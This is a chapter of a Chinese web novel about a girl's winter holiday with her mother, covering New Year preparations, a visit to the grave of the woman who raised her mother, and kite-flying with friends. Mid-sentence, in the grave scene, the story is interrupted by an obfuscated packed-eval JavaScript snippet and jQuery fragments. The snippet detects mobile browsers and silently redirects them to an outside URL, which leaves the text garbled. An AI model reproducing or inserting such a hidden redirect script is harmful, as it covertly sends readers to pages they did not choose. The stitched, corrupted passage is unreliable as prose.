15. 第 15 章

作品:《飞飞飞飞飞鸟

    出乎白鹊意料的是,妈妈见到她问起的第一句话,并不是关于她的成绩。


    妈妈问的是:“新学校好玩吗?”


    白鹊简直要怀疑自己的耳朵,难道寻寻觅觅这么多年,回过头来,妈妈才是自己的知音吗?


    对啊,白鹊对万事万物的第一个评价标准就是好不好玩,这才是最重要的啊!


    好吧,话虽然这么说,白鹊还是第一时间就把成绩单拿出来给妈妈看了。


    白伊水看了个大概,说:“可以,挺好的。”


    白鹊这才放下心来,她开始添油加醋地讲自己这段时间的见闻。


    讲教室的窗户窗帘多么漂亮,食堂的菜品有多么丰富,老师同学又如何如何,最后不忘隆重介绍一下自己结交的几个新朋友。


    虽然都是些小事,但白伊水听得很认真,有些前后不符的地方也会及时发现,然后追问,白鹊就哈哈一笑,把那些夸大的细节赶紧给改了。


    母女俩在院子里晒太阳,都眯着眼睛,望着斜对面的天空。


    两张躺椅旁边还晒着几床被子,大家一起沐浴阳光,非常公平,今天实在是个难得的好天气。


    寒冬腊月,每天都很冷,难得这样一个大晴天,许多人都上街采买年货,大包小包地往家里搬。


    院子外一阵喧闹,宋凌峰提着、扛着一堆东西推门而入,一边走,还一边对外面的人道谢,两人在门口寒暄半天,总算分别。


    白伊水问他:“碰见谁了?”


    宋凌峰把手上的东西一一归置,一堆坚果礼盒,一堆牛奶,一堆油和米,都是准备拿去拜年的。


    他擦了擦汗,说道:“就是隔壁店的老板,之前托他帮我买几箱烟花,这人也实在,给的价格很公道,大家都是邻居,刚才多聊了两句,他还说过年的时候请我们去吃饭。”


    白伊水点了点头,“哦,你答应了?那你去吧,我不去。”


    宋凌峰连忙道:“没,我没答应啊,我肯定是非常礼貌地婉拒了他。”


    白伊水闭上了眼睛,宋凌峰又道:“其实去吃个饭也没什么吧,说真的……”


    白伊水拿一顶毛毡帽盖在了脸上,彻底挡住视线,宋凌峰也彻底闭嘴了。


    白鹊从躺椅上坐起来,她跑到一盒坚果礼盒旁蹲下,她小声问:“我可以吃一点吗?”


    宋凌峰觑了一眼白伊水的方向,也小声回答:“可以,你偷偷拿一盒到你房间去。”


    白鹊便蹑手蹑脚地提着礼盒跑了,等她离开之后,白伊水挪开帽子,对宋凌峰翻了个白眼。


    宋凌峰笑嘻嘻地,又开始全方位展示自己新换上的一件夹克外套。


    虽然今天是晴天,但温度也没有多高,这几天室外平均温度都是个位数,宋凌峰来来回回就是那么几件薄外套,好像完全不知道自己得意的样子有多傻。


    白伊水摇了摇头,也回房间去了。


    *


    快过年了,街上每天都非常热闹,白鹊不用出门都能听见街对面的人在说些什么。


    大家看起来都很忙,行色匆匆地跑来跑去,然后带动更多的人一起跑来跑去。


    在城市里,人与人的联系并不紧密,但在宝坪镇就大不相同,一个人可以轻易带动起一条街的气氛。


    比如说今天上午,斜对面的一家人买回来一大框砂糖橘,不是用袋子装回来的,而是用扁担挑回来的,由于他们买得太多,吸引了不少人的注意。


    真不知道一次性买这么多砂糖橘干嘛,一家多少口人啊,能吃完吗?吃不完那不就坏掉了吗?


    到了下午,半条街的人都抢着去买砂糖橘。


    车站附近那个买砂糖橘的老板都惊呆了,卖空一车,紧急又去拉了两车,火速又给卖空了。


    老板甚至从隔壁超市那儿借了个点钞机,这下收钱方便多了。


    白鹊忍不住怀疑,现在整条街家里没有买砂糖橘的是不是只有自己一家了。


    白鹊走进厨房,忽然发现自己家的饭桌上就摆着一盘砂糖橘,旁边还有一个印着水果图案的塑料袋,里面还有两片残余的叶子。看起来这是刚刚才装盘的。


    白伊水路过,随口说道:“别吃太多啊,吃太多皮肤会变黄的。”


    白鹊问:“妈妈,你是什么时候去买的啊?怎么不带我一起去?”


    “这是顾一秋奶奶送来的,说是她家里买多了,吃不完。”


    这个消息简直比妈妈本人去跟风购买更让人震撼,白鹊难以置信,顾奶奶什么时候变得这么……这么平易近人了?


    说起来,自从放寒假回到老家之后,白鹊和顾一秋见面的次数一下变少了,可以说是前所未有的少。


    白鹊这几天一直跟妈妈待在一起,差点把他给忘了。自己忘了也就算了,他怎么就不知道主动来找她玩呢?


    果然啊,再怎么感情深厚的好朋友,也是需要距离的呀,算了,他这么需要私人空间,那就放他自由吧!


    白鹊啧啧感叹,吃了几个橘子,擦擦手,转身出门。


    她装模作样地思考片刻,在岔路口犹豫一会儿,还是直奔顾一秋的家去了。


    *


    大年三十这一天,白鹊正在厨房切香肠,吃香肠,妈妈忽然走到她背后,说:“别玩……别忙了,和我去个地方。”


    白鹊连忙把嘴里的香肠胡乱嚼了吞下去,过了一会儿才回头,问:“去哪里啊。”


    白伊水微笑道:“去上坟。”


    逢年过节祭祖扫墓,这是大部分人家里的传统,却不是白鹊家里的传统。


    毕竟……白鹊家里好像没有需要祭拜的对象。


    自记事起,白鹊就没有见过外婆外公,甚至连听都没听妈妈提起过,白鹊猜测,妈妈是不是和家里人的关系不太好,她不想惹妈妈伤心,也没有主动问过。


    至于爸爸那边……连亲爹本人都是“死不见尸”的状态,其他人就更别提了。


    那现在是怎么回事,妈妈怎么突然就要带她去上坟了?


    白鹊心里毛毛的,前几天她看了几个恐怖小故事,现在脑子里产生了一些可怕的联想,妈妈是医生啊,医生……一定懂得很多医学知识、人体知识吧。


    白伊水带着白鹊一路往老街的背后走,走着走着,离街道越来越远,脚下的路也越来越烂,往四周看,路上一个人也没有,到处都是农舍农田。


    白鹊已经构想了四五个版本的故事,还想好了如果事态不对她该用什么样的路线逃跑,不过,她有必要逃跑吗,就算妈妈是反派,也不会伤害到她吧……


    白伊水说:“到了。”


    白鹊抬头一看,原来这里真的是一块墓地。


    白伊水从附近的杂草堆里捡了几个树枝,挥舞着铲掉了路边的一片灌木,把坟墓前的空地清理出来,放上了纸钱蜡烛,还有一些祭祀用的纸家具之类的。


    等上供完,烧完纸钱,白伊水拉着白鹊过来作了几个揖,她说:“这里埋的是以前抚养我长大的一位阿姨,嗯……你就当她是你的外婆吧。”


    啊,原来是这样吗,白鹊似懂非懂,妈妈用树枝拨着纸钱的灰烬,一些没烧到的角落又燃烧了起来。


    白伊水对着墓碑又说了些话,白鹊默默听着,也大概明白了一些过往。


    原来妈妈很小的时候就被自己的亲生父母丢弃了,她是被这位陌生阿姨收养带大的。


    这位阿姨身体不好,在白伊水上大学


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17074486|195190||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的时候就因病离世了,她也没有别的后代亲人,就只有白伊水常常回到家乡来看望她。


    得知了这些事,白鹊的心情有点沉重,妈妈看着她的表情,反而笑了。


    白伊水说:“怎么啦,妈妈以为你已经长大了,才把这些事告诉你的,不开心的话,下次就不带你来了。”


    白鹊声音闷闷的,她抱住妈妈,说:“不要,我还是想和你一起来。”


    白伊水摸了摸她的头,把坟墓周围都清理了一遍,收好东西,从小路离开了。


    刚从这蜿蜒曲折的小路绕出来,迎面忽然走来了一个人,那人身材瘦小,背着一个背篓,里面装的也是上坟扫墓的东西。


    白鹊定睛一看,那不是顾奶奶吗?


    白伊水也看见了来人,她快走几步迎过去,看动作是要帮对方提东西,顾奶奶稍微闪了下,避开了,白伊水也只好放下了手。


    白伊水说:“敏姨,那我们就先走了。”


    顾奶奶点了点头,和她们擦肩而过。


    又走了一段路,白鹊回头看,发现顾奶奶去的地方竟然就是她们刚刚离开的那方坟墓。


    白伊水说:“嗯,她们是老朋友。”


    白鹊有点震惊,又有点恍然大悟,原来如此,看来,顾奶奶并不是单纯地只喜欢有文化的人,她也是一个爱屋及乌的人,不对,妈妈可不是乌。


    天气冷冷的,天上还飘起了雪花,白鹊呼出一口热气,她的视野被烘烤得有些模糊,但她心里确实多了一点明悟,唉,我果然是长大了啊。


    *


    过完年之后,街上骤然冷清下来,许多店铺都关着门,白鹊站在路边一看,最热闹拥挤的,竟然是自己家的诊所。


    虽然寒假就快要结束了,但白鹊还是心情不错,她今年拿到了不少压岁钱,主尤其是宋凌峰,给了个鼓鼓的大红包。


    白鹊胡吃海塞十几天,到现在还没用完呢。


    白鹊今天大手一挥,买了三个最大的老鹰风筝,打算和小伙伴们一起出去玩。


    顾一秋家里的砂糖橘终究还是没吃完,被顾奶奶拿来做成了果酱和蜜饯。


    顾一秋说,蜜饯太难吃,就不带给你们吃了,他拿了两罐果酱,分给白鹊和许诗琳。


    许诗琳有点不好意思了,她什么礼物都没带,她说:“我的压岁钱都被收走了。”


    白鹊又大手一挥,把她带去了烧烤摊,很豪气地说:“我请客,随便点!”


    只是,这烧烤摊生意太好,围得水泄不通,老板忙不过来,白鹊一行人也被挤得够呛,三人一人吃了一根火腿肠就被挤走了。


    三人来到街后面的一个废弃小果园,穿过果园,又到了一片荒地,准备开始放风筝。


    今天没有风,无论白鹊怎么使劲跑,风筝还是飞不起来。


    不知不觉间,她跑进了一片油菜花地。


    许诗琳在一旁很着急地喊她快出来,许诗琳听大人说,野狗闻到油菜花的香味会发疯,而现在,“有狗来了!”


    白鹊一听,赶快跑了出来,顾一秋不知道从哪里捡来一根棍子,两手紧握着,要准备战斗。


    许诗琳定睛一看,长出一口气,“看错了,那是个塑料袋啊。”


    白鹊有点担心她,许诗琳常常眯着眼睛,好像真的有点看不清,她说:“你回家试试你爸爸的眼镜能不能戴吧。”


    许诗琳闻言有点忧郁,她看向另一个方向,“那是腊梅花还是迎春花啊,我怎么看不出来,我是不是真的近视了。”


    白鹊走过去一看,这里有好几棵树呢,有腊梅花,也有迎春花。


    她闭上眼睛,闻了闻花香。


    时间过得真快啊,春天又要来了。